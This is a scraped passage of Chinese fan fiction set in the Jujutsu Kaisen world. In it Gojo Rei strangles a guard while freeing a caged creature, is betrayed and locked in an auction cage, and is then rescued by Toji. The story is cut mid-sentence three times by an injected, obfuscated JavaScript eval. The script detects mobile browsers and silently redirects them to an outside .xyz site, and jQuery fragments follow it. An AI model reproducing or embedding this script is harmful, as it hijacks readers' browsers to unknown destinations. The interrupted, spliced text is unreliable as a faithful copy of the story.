被这种无形的冲动胁迫着,五条怜一点一点行走在二楼的窗框上。 窄窄的窗框边缘只能容纳得了半只脚,行走变得前所未有的困难。她艰难地踮起脚,试着去够上方的排气扇,用指尖抽掉扇叶,先深呼吸了一口气,这才鼓起勇气跳起来,把上半身塞进通风管道里。 ……现在这样,真像一条被风干的死鱼啊。 五条怜自嘲地想。 她甚至能想象出看到这一幕的甚尔会爆发出怎样的大笑,不禁开始庆幸自己是独自行动的——形单影只可比被嘲笑好多了! 通风管道狭窄,只能努力缩起肩膀,可一抬头,还是会被通风管道打到脑袋。 五条怜庆幸自己尚且在成长期,勉勉强强还能挤进去,否则她的计划可就要中道崩殂了。 一点一点挤进去,腰上有个东西卡在通风管道的洞口了。她铆足了劲往里一怼,听到了咔哒一声。那个东西掉在了地上。 “啊……” 想起来了,苦无被她挂在腰上了。 唯一的武器就这么掉了,真是懊恼都来不及。五条怜气得龇牙咧嘴,却也无话可说,磨蹭着继续向前。 通风管道是一张已经绘制好的地图,但没有明确目的地,穿梭在其中变成了一场近乎赌博的行动,每个分叉口都是艰难的选择。 连续右转了两次,前方终于出现了一个通风出口。掀开挡板一看,居然是走廊,赶紧重新按上,继续往前走。 下一个通风口连接着一间小房间,里面摆着盖了黑布的方形物品。想了想,五条怜还是跳下去了。 房间里黑漆漆,布匹也黑漆漆,她有点心慌。试着说了一声“你好”,回应却是一连串的狗叫,黑布也开始剧烈地抖动起来,吓得她赶忙踩着柜子爬回到通风管道里去了。 果然运气很烂呢,她这个人。 五条怜把叹气吞进心里,继续摸索。下一个出口,她透过间隙瞄了瞄,摆着的依然是被深色布匹罩住的方形物体。她听到了砰砰的声响,布匹之下的东西想要闯出来。 应该就是这里了吧? 她跳下来,重力撞击着双腿,一路传达至胸腔。一定是因为这样,所以她的心跳很不争气地又开始变快了。 你好……算了,还是别说你好了。 五条怜收起一切多余的想法和念头,动手掀开了深色的布,铁笼子与红发的少女赫然出现在眼前。 直到这个时候,她意识到,自己犯了一个个小小的错误。 笼子里的“少女”胸部平坦,却不是因为骨瘦嶙峋。当“她”站起时,两腿之间也是同样的光滑平坦,像绘画用的木头人偶,没有任何器官的存在。 所以,不是“她”,也不是“他”。 说不定,应当是“它”。 68.灯下黑 不是“她”,不是“他”,而是“它”——向五条怜伸出了求助之手的,是一个非人的生物,甚至大概率是一只咒灵。 这…… 有些羞于启齿,但在意识到这个事实的瞬间,五条怜感觉自己的大脑好像宕机了,一下子变得完全空白,半点崭新的思维都没能冒出来。 毕竟,她原本的计划是拯救被囚禁的人类少女。如今连对象都变了,下一步的行动方针当然也…… 难道要原路撤退打道回府吗?不不不,这未免也太不道德了。而且,一路以来的艰辛不也要被辜负了嘛。 但要是把这么个东西放出去,天晓得会不会是做了什么坏事。 纠纠结结,拿不定主意,而它——实在不知道它究竟是个什么东西,姑且就以“它”作为称呼吧——再度从铁栅栏间伸出手。 这一次,它切实地握住了五条怜的手,紧紧地握着,冰冷而粗糙的十指像是冻硬的砂纸,紧紧箍住了她的手腕,从杂乱的深绿色长发间露出的是它绝望的眼眸。 它似乎想要说点什么,胸腔剧烈地起伏着,但无论多么尖锐的话语,透过汉尼拔的面罩,都被削减成了沉闷的近似于“唔”的声响。笼子上还挂着数字编号牌,看来它也是一件拍品。 ……真可怜。 五条怜知道自己没有资格去评判他人是否可怜,但此刻从脑海中跳出来的念头,果然就只有“可怜”这一个想法而已。 救它出来之后该怎么办?这个问题,她决定搁置到切实地带它离开铁笼之后再考虑。而现在,她会握住它的手,告诉它,自己一定会救它出去的。 “别害怕。相信我,好吗?” 五条怜对它说,也是在给自己鼓劲。 关着它的铁笼是简单的款式,由右侧的门栓固定着。比较麻烦的是,门栓上还挂着一把铁锁。她试着用发卡开锁,果不其然没有成功——她都没学过开锁的基本知识。 那么,用武力打开?如果是甚尔的话,说不定可以,但就自己这小胳膊细腿的,实在拧不动拳头大的铁锁。 早知道还是带上甚尔一起来了……五条怜后悔地想。 后悔没有用。再一想到甚尔可不会乐意多管这种闲事,她一下子就冷静下来了,懊恼的心情也消失无踪,决定继续捣鼓发卡。 “唔。唔。”它拍拍五条怜的肩膀,指着门外,又把手伸向背后,轻轻甩了几下,“唔——” “呃……你是说,要我去偷那个大个子身上的钥匙吗?” “唔!” 她感到头皮发麻了:“这种事不是那么轻易能做到的吧?” “唔!唔!” 可能是她畏畏缩缩的态度激怒它了,它一下子暴怒起来,抓着铁笼的栏杆疯狂摇晃,一边尖叫着一边摇动笼子,闹出惊天动地的动静。屋外传来气势汹汹的脚步声——就连外头戴着耳罩的人都听到这番闹腾了。 这又算是怎么回事嘛! 五条怜叫苦不迭。已经来不及爬回通风管道了,她飞快地闪到门后。 灯下黑战术大成功。走进房间的壮汉压根没有留意到她的存在,径直走到它面前,用警棍敲打铁笼,吓得它蜷缩成一团。 敞开的门、钥匙挂在腰后的警卫、刻意闹出的动静……好像,搞明白它在想什么了? 五条怜屏住呼吸,默默关上了门,把手缩进衣袖里,空袖管缠绕成纤细绳索。她悄然靠近,等待一个瞬间——警卫合拢红布,转身过来的那个瞬间。 就是现在了。 她倏地跳到他的背上,空袖管卷成的绳索绕过脖颈,不要贪心,赶在他的全部五感察觉到自己的存在之前,快点跳下来吧。 加注在空袖管上的重力拽着警卫整个人不受控制地朝后仰去,四十五公斤的体重没办法直接拽着他倒地。 没关系,她很有耐心。 继续收紧套在脖子上的袖管,五条怜的手用力到颤抖不止,她必须忍耐。 警卫已经发现了袭击者的存在,挣扎着抓挠脖颈,留下难看的吉川线。他试着将后背撞向地面,却完全没用,扒在后背上的人比狗皮膏药还要更加难以甩开。 忍耐,然后坚持。 哪怕被足有两个她大的男人压在地板上几乎无法喘息,她也必须忍下去。只要继续忍耐,手掌中紧紧攥住的他的挣扎就会一点一点渐缓下去。有温热的液体流到了大腿上,是从吉川线里渗出来的鲜血。 渐缓、渐缓,然后消失。五条怜保持着收紧衣袖的动作,双手颤抖到几乎像是在半空中摇晃不止,所有的力气全都在被缓慢榨干。 可能过了半分钟,也可能是短短的十秒,更可能是长久的数分钟,她终于松开了手。警卫的身体一下子瘫软地压在身上,差点压得她喘不过气,赶紧推开,她这才发现自己的双臂酸痛到几乎抬不起来。她瘫倒地上,浑身上下都好难受 努力喘息几口气吧,努力让急促的心跳冷静下来。应该已经没必要去探鼻息了,她想。 正如罪恶感也无暇发酵,她懒得做多余的事。但有些事情必须赶在肾上腺素骤减之前完成。 四下张望一番。 就像是预感到她今天会做出什么坏事一样,狭窄的房间里理所应当的没有摆放任何可以容纳一米八壮汉的橱柜或是空间。 要是这家伙再瘦一点、再纤细一些,说不定能把他塞进通风管道里。可事与愿违,如此庞大的个头绝对会把通风管道撑爆的。 五条怜开始冒冷汗了,后背一阵一阵地发烫。仔细想想,她也不是一定非要把警卫藏起来不可吧? 被铁笼关住的它比自己还瘦,一定能够轻松地钻进通风管道里,和她一起逃脱。只要赶在这里的其他人发现警卫的尸体之前逃之夭夭,不就万事大吉了嘛。 这么想着,她瞬间舒心了,动手摸走警卫腰上的钥匙。 一大把钥匙丁铃当啷,五条怜失败了五次才找到正确的钥匙。笼子里的它急不可耐,紧紧扒着铁笼的栏杆,不安地动来动去。门一打开,它立刻冲出来。 在姑且恢复了自由之后,它做的第一件事,是把警卫推进铁笼子里,而后环顾四周,不知道在想什么。 “你还好吗?” 五条怜大喘了几口气,想了想,脱下外套,盖在它的肩头。 它缩起肩膀,纤细的腿也曲着,湿漉漉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932565|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛望着她,像是一只动物——不过人类本质上也是一种动物,所以自己和它没差。 它接受了五条怜的外套,用这块沾着血的布裹紧了自己,双手抓住面罩,想要用力扯下来。 天知道着面罩是怎么固定在脸上的,可能用了某种术式,也可能是什么顽固的胶水,能看出面罩正紧紧地粘连在它的脸颊上。 往下拉扯时,它的脸颊肉都被带动着变形了,整张脸变得奇形怪状。即便是在皮肉撕裂时,它也一声不吭,用力到颤抖的手一点一点撕下面罩,它的皮肤黏着其上,看着都觉得疼。 五条怜目睹着它揭下面罩,能帮上的最大的忙是不要再这时候露出害怕的或是嫌弃的表情。当面具终于脱离最后一寸皮肤的时候,她也松了口气。 “太好了……”她松了口气,“我们——” ——我们走吧。 这话没有来得及说出口。 一股莫名的力量落在肩头,猛烈而带有敌意,五条怜一下子失去了平衡,跌在地上。 根本来不及站起来,它倏地又扑过来了,脱下外套,把她按进铁笼里,整个人盖上来。五条怜几乎要尖叫,而它紧紧抓住了她的手腕,背到身后,撕下带血的袖管捆住了她的手。那沾着破碎皮肉的面罩,也盖在了她的脸上。 然后,关上了铁笼的门。 由五条怜偷来的——也可以说是“拿来”或是“抢来”——的钥匙,现在落在它的手中。而它所做的,是锁上了铁笼。 锁上了……锁上了? 咔哒——一声润滑的声音响起,锁簧滑进锁芯里。一切发生得太快了,但五条怜终于确认了自己的处境。 现在,她变成了笼子里的交易品,与被自己杀死的警卫锁在一起。 而那个她所认为的、需要被她拯救的对象,站在笼子外,望着她的眼神微妙,依旧是湿漉漉的,却透着腐烂的潮湿味。 五条怜伸出手。毫不意外,谁也没能握住她的手。 “你……” 试着说话,但声音被面罩挡住了。 哪怕只是动一动嘴,都能感觉到面部肌肉被禁锢着。血腥味钻进齿缝间,它黏着在面罩上的、破碎的皮肤开始一点一点冷彻下去,变得如同一双阴湿黏腻的手,捂住了她的嘴,藏起了她一切惊恐的话语,仿佛这样就能证明,她一点也不害怕了。 放我出去。放我出去。 五条怜拼命摇晃着铁笼子,它当然无动于衷,只对着她咧嘴一笑,失去表皮覆盖的肌肉拉扯出奇怪的纹理,看起来真像是某种奇怪的僵尸。 它很刻意的晃了晃手里的钥匙,看着五条怜的目光如何追随着钥匙边缘摇曳的反光,露出了心满意足的笑。 然后,钥匙被用力丢到了通风管道上。 唯一的逃脱手段消失在了天花板得空洞里。它也准备消失无踪了。 再见?或者是永别? 抱歉,它没有说这种话,也不会说。 贴心地把红布盖好,不忘把布匹的一角掖进铁笼下方。这是它在逃走前做的最后一件事。 我完蛋了。 这是五条怜冒出的第一个想法。 69.囚笼 在逃离五条家的那个冬天,五条怜就已经很认真地考虑过自己的死法了。 最大概率是饿死。那时候她身上一分钱都没有,半点食物都找不到,天天靠着白水充饥,饿到走路都虚浮了。 所以第二大概率的死亡方式是交通事故。以那样饥饿的状态,什么时候被车撞到都不一定。但要是幸运地没有死,说不定能够去医院里好好吃上一顿了? 除此之外,她还想过了自然死亡(对于当时十三岁的她来说显然是个不可能实现的死法)、抢劫被杀(劫匪很有可能被她的分文不剩气到恼羞成怒),以及路遇杀人犯…… ……啊,杀人犯确实是遇到了。 她遇见甚尔了嘛。 甚尔没有杀死她,所以死亡的阴霾就此消失了。 五条怜根本想不到,这朵死气沉沉的阴云有朝一日会重新回到自己的头上,淋下一通死亡之雨,湿度之高让她根本无法喘息。 所以,自己的死法会是,做了件自以为是的好事、救了个不该被救的家伙、最后惨遭背刺变成鱼肉般的拍卖品?这可真是…… 太可笑了。 五条怜笑不出声。面罩藏住了她的所有声音,她也根本无心去笑。 这一切会不会都是故意的?她当然也考虑过这种可能性,不够很快他就否定了自己。 她不是什么特别的人,根本不值得为她设下一个特别的圈套,所以落到现在这一步,纯粹只是因为她运气不佳罢了。 深呼吸一口气,先冷静下来吧。 至少现在她还活着。 正如过去的每一次,她要活下去。 五条怜拧了拧手腕,试着挣脱禁锢,可惜失败了。 天知道那个怪东西哪儿来的力气,明明看起来瘦条条的一个,力气却大得可怕,柔软的袖管都被拧得像铁丝一样坚固。她反复尝试了好几次,布条没有半点松懈不说,还越来越紧了,磨得手腕都破了皮。 要是苦无还在就好了,要是把苦无揣进了外套的内袋里而不是挂在要上就好了……啊,这么多“要是就好了”,让她好懊恼! 毋庸置疑,这点懊恼绝对会成为最糟糕的病毒,彻底把她拖进绝望的深渊里。五条怜甩甩脑袋,硬是把这点灰暗的负面情绪丢出去了。 没有武器,也没什么特别的本事,就连体力都被刚才的暗杀行动耗光了,说实在的,她想不好接下来还能做点什么。 要不然,找甚尔来帮忙吧? 嗯,说干就干! 虽然双手还不自由,但五条怜还是勉强从裤子口袋里摸到了手机。 掌心湿漉漉的,不知道粘上了什么东西,一不小心,手机滑了下去。但是还好,只要使劲朝后弯腰,就能重新把手机拿在手中了。 现在的麻烦的事情是,她现在完全看不到手机屏幕,嘴也被封上了,说不出半句求救的话。 那就只能发短信了吗?真麻烦啊。 她艰难地擎着手,依照记忆打开了短信界面。真该感谢通讯录里只有甚尔这一个人——也就是说她的社交圈子也小到只圈住了禅院甚尔而已,好惨——都不必担心发错人了。 「请来救我。」 在一片未知的黑暗中,她摸索着写下了这句话,毫不犹豫地按下了发送。 再回头看看,努力把身体拧到夸张的角度。透过屏幕的一角,她勉强看到了“成功”的字样。 好,现在总算有一件事情是顺利的了! 当然了,她肯定没办法只为了这一点小事而高兴。忧愁感很快就追上来了。 甚尔会不会忽略掉自己的短信呢?她居然冒出了这种念头。 其实这想法也算不上是“居然”,仔细想想还是很有可能的。 甚尔八成会把自己的这条短信当做是恶作剧,甚至很有可能认为是自己还在为了那句哄孩子般的“玩去吧”赌气。 要是真被当做赌气或是恶作剧了,那还得了? 不行不行,她得换个更靠谱的通讯方式了! 凭着肌肉记忆,五条怜打开了通话界面(这时候还是很感谢她的社交圈子小到只容纳了甚尔这一个人)。 按下通话键,再把手机放下,她艰难地在狭窄的铁笼里转过身子,膝盖硌到了警卫的膝盖,小腿也完全压在了他的腿上。能感觉到他逐渐冷下去的手抵在后腰上,这可真是诡异到近乎恐怖的体验。 早知道会被丢进笼子里和尸体共处一室,她肯定会下手轻一点,给他留条命的。这样一来,迫于求生的本能,他们肯定能够结成联盟的——至于脆弱的联盟关系在逃出铁笼之后是否还能继续维系下去,这就是个需要额外考虑的问题了。 五条怜不想老是沉浸在不可能实现的幻想之中。她只能继续挪动挪动,把脸凑近到手机话筒的前面。 小小的屏幕上,电话图标正在轻快地跳动着。 电话接通了,但甚尔没有说话,连句“喂”都没有,显然是在等待自己说点什么。 五条怜以为自己会发了疯似的大声呼喊,即便自己的声音全部被面罩封印在了身体里面;或是在笼子中不停地挣扎,试图制造出足够多的噪音,让他意识到自己正身陷囫囵。 但是没有,五条怜什么都没有做。 很奇怪。明明上一秒她还觉得情绪疯狂泛滥——厌恶的、紧张的、恐惧的这些情绪,在上一秒里全部都决堤了。但在电话接通的此刻,她却没有这种感觉了,过分冷静的大脑,仿佛她并不栖身于囚禁的铁笼里。 是因为看不见的电波把她和甚尔牵连在了一起,所以她变得和甚尔一样成熟且处变不惊了吗? 要不然,就是她认为这通电话一定能帮助自己逃出生天,所以彻底松懈下来了? 搞不懂。 不过,什么都不说的话,总觉得不太好呢。而且甚尔真的在听吗? 冒出这个念头的同时,那么一丁点的紧张感终于回到五条怜心里了。她匆忙压低身子,尽量把耳朵贴在手机听筒上。 电话那头寂静一片,但是能够听到微弱的呼吸声——他在听的。 五条怜安心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938010|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到上一个话题。她该说点什么呢? 尖叫?呼喊?发出沉闷的“唔唔”? 或者用肩膀去撞铁栅栏,发出能代表“SOS”的摩斯电码?电视上说摩斯电码是很有用的。 想来想去,最后一条才最靠谱。不过,话说回来,SOS的摩斯电码是什么来着?她记得那很简单,可在这紧要关头,她偏偏记不起来了。 在五条怜艰难地从大脑深处挖掘记忆的当口,外头传来吱呀一声。 铁门打开了。 拖沓的脚步声摩擦着靠近,绕到铁笼后方。然后是吱呀一声,平板车被推动了。 “好重。”听到了一声自言自语的抱怨。 即便说着“很重”,平板车还是很平滑地被推出去了。 马上就要轮到这个笼子里的展品登场了。 红布罩住的铁笼,让禁锢的四方空间变成了深红的模样,尽管有光透入,却依然昏沉。 大腿上的鲜血已经干透了,一动起来就会碎成粉末。手掌上的血也是一样。五条怜跪在笼子里,她的脚下是终于变得冰冷的尸体,直起后背就会顶到上方的铁栏。她不自由地蜷缩其中,变成了商品。 五条怜侧过身子,试图躺下来。警卫冰凉的手贴在了脸颊上,像是在爱抚着她。 哪有这么温柔呀?她自嘲地想。 深呼吸一口气。她蜷缩起上半身,在心里暗暗计数,数到“五”时——她也不知道为什么非要数到“五”才行,明明她讨厌的五条家里也有这个字——她倏地伸直身子,踹在铁笼子上。 一下、两下、三下……就连这泄愤般的踢踹,也持续了五次。 砰! 铁管砸在铁笼子上,碰撞出骇人巨响,整个笼子都在随之颤抖。五条怜不受控制地缩起身子,脆弱的鼓膜又要裂开了。 砰砰砰! 又是三下。 就像是先前笼中生物闹腾时一样,只要敲敲笼子它就会安静下来,不知道笼子里的内容物已经偷天换日的警卫当然也会采用同样的教导方式。亏五条怜还觉得,只要闹出足够大的动静,就能让他们注意到不对劲。或是至少把这块碍事的红布给晃下去,可惜这比前者难实现多了。 猛烈的敲击声震得她脑子嗡嗡的,意识差点脱离身体。回过神来,平板车已经停下了,周遭的灯光变得前所未有的明亮,以至于铁笼内部也变成了一片正红色的空间。她习惯性地动了动唇,面罩带动着皮肉扯得生疼。 ……是错觉吗,面罩是不是变得比刚才松动了一点? “接下来,就是万众期待的那件拍品!” 外头传来了声音,是拍卖员激昂的说话声。 那件拍品……是哪件拍品? 音乐声响起来了。 “由东云实业医药公司研发出的最新试作品,奇迹般将人体组织与诅咒结合在一起的类人生物——” 咚咚咚,如此振奋人心,每个音符都像是直接掉在了五条怜的心口上。 “——请看,黄昏的报丧女妖!” 70.报丧女妖 报丧女妖……这词听起来简直像是传说中的生物。 如果这块布揭开之后,在场的所有人发现自己不是什么报丧女妖的话,他们会有怎样的反应呢? 愤怒、惊讶、还是根本不会意识到她是个普通的正常人? 在拍卖师话音落下的那个瞬间,五条怜想了很多很多,几乎要被惊恐的情绪全部淹没。 但是,什么也没有发生。 红布没有没掀开,她依旧身处在这片被灯光照亮的深红色的空间之中,连影子都镀上了一层丝绒般的光泽。心跳还是好快,连带着胸腔也在疼痛不止。 所以,现在是暂时安全了吗? 挺拍卖师那过分亢奋的语气,她还以为自己——准确地说,应该是黄昏的报丧女妖——会被立刻展示在众人面前。但他似乎打算继续讲神秘感维持下去。 “各位听说过报丧女妖吗?在爱尔兰盖尔语中,她被称作是‘bean sidhe’——如果我的发音不够准确,请各位不要嘲笑我。毕竟,我不是爱尔兰人嘛。” 听到了稀稀落落的笑声。这些话有这么好笑吗?五条怜根本笑不出来。 不过,眼下确实有一件足以高兴的事情。在拍卖师无聊的暖场结束之前,她还有自救的时间。她必须在这几分钟(也可能是几秒钟)内,想办法逃出去。或者至少逆转现状。 她又试着张了张嘴。果然,刚才的那种感觉不是错觉,面罩确实有些松动了,一定是因为上面还沾着报丧女妖的破碎皮肉,所有坚固性才降低了吧。 不管怎么说,至少得把面罩弄下来才行。 “而‘bean sidhe’一词,” 拍卖师当然还是在喋喋不休着,。 “意思是‘拥有超能力的女人’。当然了,我们本次拍卖的生物并非是一个真正的女人。正如之前所说,她只是一个用人体组织与诅咒结合在一起的类人生物罢了——此处需要感谢东云实业的负责人美智子女士对本次拍卖的大力支持,很可惜她今日并未到场。 “回到正题,我说的这些话是为了安慰大家,如果想要对我们亲爱的报丧女妖做出什么违背道德的事情,也不必怀有负罪感。” 做出违背道德的事情也不必怀有负罪感……这是在说什么荒唐话呢? 五条怜莫名有点来气,但她决定不要让无用的愤怒占据大脑。 她努力张着嘴。紧紧贴在脸上的面罩开始缓慢松动,但是这样的进度太慢了。 必须快点把面罩取下来才行。 “传说中,报丧女妖可以预告即将发生的死亡。各位需要知晓——也无需害怕的是,报丧女妖本身并不会带来死亡。她只是死亡的预告者,传达的也只是一个即将发生的客观事实而已。大家更加不必担心她现在就发出尖叫,我们已经为她戴上了特制的面罩,现在她只能发出最低音量的声音。另外,在报丧女妖的身上,还有另一个鲜少为人所知的传言,那就是……” 刻意的停顿,恨不得把所有人的好奇心拔高到制高点。 说实在的,就连五条怜也有点好奇了,但她知道,现在可不是任由多余情绪泛滥的时刻。 她靠在铁笼的一侧,把脸贴在栏杆上。用力剐蹭几下,果然面罩的边缘开始松动了,奇怪的粘性撕扯着脸颊上的皮肤。好痛。 “大家看呐,报丧女妖也已经急不可耐了。”一定是动静太大了,拍卖师忽然说出了这种很戏谑的话,“她一定是很想要知道在座的哪位即将成为她的主人吧,哈哈哈——” 没有意义的大笑,没想到居然足够让其他人也笑起来。 这种话真的好笑吗?五条怜笑不出来。 她只觉得恐怖。 快点……快点快点快点! 不停把脸贴在铁栏杆的边缘剐蹭,终于面罩翻起了一个角,她沾满血的嘴角终于能够暴露在空气中,但也仅仅只能张开一点而已。 还不够,必须再快一点。 “回到正题。”拍卖师终于意识到自己话题走得太远了,“另一个关于鲜为人知的传言是,只要能够夺走报丧女妖的尖叫,未来便能躲过死亡的追击。这句话是什么意思呢?抱歉,在下才疏学浅,无法给出一个准确的说明。或许,真正的答案,需要在座的各位来解开吧。” 剐蹭的方式实在是太慢了。五条怜缩起上半身,把脸压在所剩无几的地面上,用脚踩住翻起的那一角面罩,奇怪的姿势真像是一个杂技演员。 真该庆幸有这块红布阻挡着,否则要是被看到了,一定会有人嘲笑她有多么古怪吧。 “好,闲话家常也说得够多了,相信大家都已经对这件拍品有了足够多的了解。如果我再介绍下去,大家就该往台上丢臭鸡蛋了吧。” 一片笑声。 “那么,是时候让大家看看报丧女妖的真貌了,不是吗?” 刺啦——面罩终于被撕开了。随即而来的是“砰”的一声,一只手搭在铁笼的顶上,落下黑色五指的影子,像要将她压在底下,就连心跳也变得沉闷却飞快,几乎要被捏爆。 “本场拍卖的起拍价为八千万!” 这句话听起来当真像是最后的尖叫。 红布马上就要掀开了—— 大脑好像停止了思考,但自救的念头还是鲜明的存在着。 该怎么做?依然没有想好。 但是五条怜决定放声尖叫,仿佛她就是黄昏的报丧女妖。 …… 尖叫,手机的另一头传来了尖叫。 甚尔挂断通话,探身往下方看去。拍卖的舞台近在眼前,那个装在平板车上、盖着红布的大铁笼也近的很。 果然在里面呀? 他一下子不知道该说点什么才好。 难怪总觉得那个铁笼子里的东西怪怪的,没想到五条怜果然就在里头。这可真是…… 甚尔忍不住又要叹气了。但在此之前,他决定先把手里抓着的一大把线缆全部切断。 早在收到那条乱码短信的时候,他就意识到不对劲了。理由很简单,因为五条怜不是那种会用乱码短信当做骚扰手段的烦人家伙——再说了,就一条乱码短信,也实在算不上是什么骚扰啦。 等接到无声电话,他的猜想就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945926|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以肯定了。所以他什么都没说,等待着她自己把情况全说出来,结果她也一声不吱,不知道是觉得羞耻了还是怎么的。恰好这时候万里锁的交易已经完成,他索性继续保持着通话状态,走出了拍卖场。 说出无奈的“玩去吧玩去吧”,是半小时之前的事情,她的痕迹不会在短短的半小时内消失无踪。追着残秽的踪迹,他顺利地摸到了这间拍卖场。 可惜,这里没有他认识的人,没办法拉下面子讨个人情。他干脆装作是感兴趣的看客,直接从正门进入,而后才溜进员工通道,一路来到舞台的最顶上的控制台。从这个角度可以完美地看到舞台与观众席。 熬过了拍卖师并不风趣甚至无聊的开场,眼看报丧女妖就将登场,铁笼子里却传来了尖锐的叫声,仿佛就像是传说中所诉说的那样,某人的死亡即将降临。 观众席的所有人都带着呆滞僵硬的苍白目光,面面相觑,不敢说些什么,似乎只要自己张开嘴,就会成为那一桩被预兆的死亡。 看来,该是自己干活的时候了。 动手切断电线,再将舞台上的幕布合拢,整个场地陷入了黑暗之中,屏息沉默着的恐惧彻底化作现实。所有人都开始尖叫起来——那可是比“报丧女妖”更尖锐的尖叫。 在一片昏暗中,观众席彻底陷入恐慌,尖叫着拥挤着想要逃出此处,就连拍卖师都已经丢下了话筒,后退着不知道该做些什么才好。 甚尔轻巧地从上层跳下来,顺势一个手刀劈晕了拍卖师,用力一蹬铁笼,整个平板车都随之溜到了舞台的边缘。追上,在掀开红布之前,他已经听到了熟悉的喋喋不休。 “听我说——我知道真离谱,但是拜托你听我说。我不是你们的报丧女妖,也没办法预告死亡。真正的报丧女妖已经逃走了!” “我知道。” “……甚尔?” 五条怜好想揉揉眼睛,但是她的手还被捆着。真该庆幸现在没有掉下不争气的眼泪,否则就要被他看到了。 周遭是一片黑暗。她试图从这片辨不清形状的暗色中找到甚尔的位置,毫不意外的失败了。还好他按亮了手机屏幕,这才带来了一点点光亮。 只是分别了区区半小时而已,甚尔当然不会有什么变化。倒是五条怜,看起来显然比刚才可怜多了,整个脑袋都灰扑扑的,沾满了灰尘,下半张脸也是满是干涸的血迹。真惨。 甚尔心想,肯定又是因为她多管闲事,所以才会落得这种下场的。 “请快点救我出去!这个铁笼子的钥匙被丢到通风管道里了,就在后面!”五条怜可顾不上甚尔是怎么想的,只急急忙忙地说,“大概就在……” 还来不及把具体的方位描述给他听,他已经不耐烦地摆手了,从口袋里掏出了圆滚滚的什么东西。 “呶。” 啪叽——圆滚滚的东西被丢进来了。 “钻进它的肚子里就行了。” 圆滚滚的东西轱辘轱辘滚到脚边,不一会儿便膨胀起来,变成一条绀紫色的长虫,肉嘟嘟的脸颊挤出一声又尖又酸的“叽”的声响,像是在对她打招呼。 71.万能咒灵 被丢进笼子里的是收纳型咒灵丑宝。 结合刚才甚尔所说的,让她钻进它的肚子里…… 五条怜眨眨眼,难以置信。 她相当怀疑是不是自己听错了,又或者是自己看错了,不然甚尔为什么偏偏要指着着丑宝和她说出这句话? “愣着干嘛?”见她久久处在呆滞状态,甚尔忍不住出声催她了,“不要再磨蹭了。” 其实五条怜也不想磨蹭的。她别扭地从丑宝身上移开目光,还是没办法接受甚尔的安排。 “所以,你的意思是……” 她必须再确认一下,但不争气的她现在就已经想吐了,才刚说了半句话就忍不住要捂住嘴。要不是凭着一腔顽强的毅力,她大概都忍不下来。 “是要我,被丑宝吃下去,是吗?是这个意思,对吧,没错吧?” 轱辘话翻来覆去说了好几遍,每一遍都透着难以置信,但每一遍都得到了甚尔肯定的答复。 “是,对,没错。”他煞有介事地点点头,“就是这么回事。” 没有质疑的余地了,事实果真是如此! 一阵前所未有的眩晕从头顶上落下,当真要砸得五条怜晕厥过去了。她都腾不出手扶住额头,觉得好不可思议。 怎么会有人想出这种损招……难道是故意折腾她,或者是想要报复她吗? 天地可鉴,她最近安分守己,虽然确实是害得甚尔花费了意料之外的高价才成功拍下了万里锁,但除此之外,她也没做出什么惹他生气的事情呀! 如果单纯只是想要报复她的话…… 五条怜瞬间有了底气,挺直胸膛,很硬气地梗着脖子说:“我不要钻进丑宝的肚子里,请用其他办法救我出去!” 理所应当的语气听得甚尔都无话可说了。他烦躁地挠挠脑袋。 “你倒是说说还有什么‘其他办法’?” 她茫然地眨眨眼。怎么问题有抛给她了? “我不知道。”她决定诚实以对,“但如果是甚尔你的话,肯定有不止一个计划才对。因为你比我厉害多了。” 甚尔还是叹气:“恭维我可没有用。” “这不是……” 这可不是恭维,而是她真心的想法。 五条怜很想这么说,但在话语全部说出口之前,却先被甚尔摆了摆手打断了,也不知道是不是早已猜出她要说出黏黏腻腻的好听话,所以早早地阻止了这种可能性的发生。 “我没有别的办法。”他果断地说出事实,“我不会开锁,也没空帮你去拿钥匙。备用电源什么时候重新启用,谁也说不准,而且警卫很快也会冲过来的。你就别再纠结这种小事情了。” “可是……” “快收收你的大小姐气性。” 憋了整整一年,“大小姐”这个评价又落回到她的头上了。五条怜涨红了脸,但她也不确定到底是急切还是羞耻的情绪在作祟。 梗在心里的异样情绪一点都没有消失,反倒愈演愈烈,她实在忍不住了,大喊了一句“我就是不愿意!”,中气十足的不情愿在舞台上反弹了整整三遍。 “你叫我做什么都行,假装马戏团的狮子一边跳芭蕾舞(诶真的跳得来芭蕾吗?)一边钻过火圈都没问题,唯独这件事……唯独钻进丑宝的肚子里,我做不到!” 她认真地——但又有一点倔强任性地说。 当然了,这句信誓旦旦的话语,落在甚尔的耳朵里,便自动屏蔽掉了无用的废话,于是就只剩下了一句“我做不到”。 